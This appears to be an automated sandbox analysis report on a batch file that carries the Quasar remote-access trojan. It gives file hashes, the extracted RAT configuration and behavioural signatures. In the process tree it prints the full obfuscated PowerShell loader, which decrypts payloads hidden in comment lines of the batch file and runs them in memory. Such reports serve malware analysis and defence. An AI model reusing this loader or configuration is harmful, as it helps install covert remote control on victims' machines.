Analysis
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max time kernel
31s -
max time network
33s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system -
submitted
19-04-2024 17:53
Static task
static1
General
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Target
Client-built.bat
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Size
1.8MB
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MD5
3fbd3f63effc0d1dd71a439393b293ae
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SHA1
0bed7df8938d18495a061133da4fe731b947de14
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SHA256
f07acfcbf476dab38e3790a6208dc4216bab8c8ae19c3ec6529f70f84f3e9165
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SHA512
ab18b2c93d6c0650fb105d05cc69f778f1c98f13b278ff327e6e3e70beae83965e6ace66d78a1d526c99216f5aeb509a4eb158a809bac2a219c675447d99235f
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SSDEEP
24576:mIb2faqtKK426nqfX3K/rBSfl4ohNtxFMB5kMIDJ0opfGNq80wC1XoN7d:m02H6w/NF+uBwC1Xu7d
Malware Config
Extracted
quasar
1.4.1
Office04
127.0.0.1:4782
b5ebc587-c8dc-4d34-91e9-41d81af9bf2b
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encryption_key
3E64BD0F3C2CB6D39F080AD73274220030417C14
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install_name
Client.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
Quasar Client Startup
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subdirectory
SubDir
Signatures
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Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4216-15-0x000002E32E6F0000-0x000002E32EA14000-memory.dmp family_quasar -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4216 powershell.exe 4216 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4216 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
powershell.exepid process 4216 powershell.exe -
Suspicious use of SendNotifyMessage 1 IoCs
Processes:
powershell.exepid process 4216 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
cmd.exedescription pid process target process PID 4276 wrote to memory of 4216 4276 cmd.exe powershell.exe PID 4276 wrote to memory of 4216 4276 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4276 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AtLcF+t0FB33iSbfddxOST5FkZphJvCTctMBbZu4hMo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dm+IGy6zqhkYn8cc+qI1TQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $wAvkI=New-Object System.IO.MemoryStream(,$param_var); $ugKUQ=New-Object System.IO.MemoryStream; $HysxI=New-Object System.IO.Compression.GZipStream($wAvkI, [IO.Compression.CompressionMode]::Decompress); $HysxI.CopyTo($ugKUQ); $HysxI.Dispose(); $wAvkI.Dispose(); $ugKUQ.Dispose(); $ugKUQ.ToArray();}function execute_function($param_var,$param2_var){ $NSicI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Bqpci=$NSicI.EntryPoint; $Bqpci.Invoke($null, $param2_var);}$cuelP = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$host.UI.RawUI.WindowTitle = $cuelP;$AUWCp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($cuelP).Split([Environment]::NewLine);foreach ($biZnu in $AUWCp) { if ($biZnu.StartsWith(':: ')) { $twfqf=$biZnu.Substring(3); break; }}$payloads_var=[string[]]$twfqf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4216
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82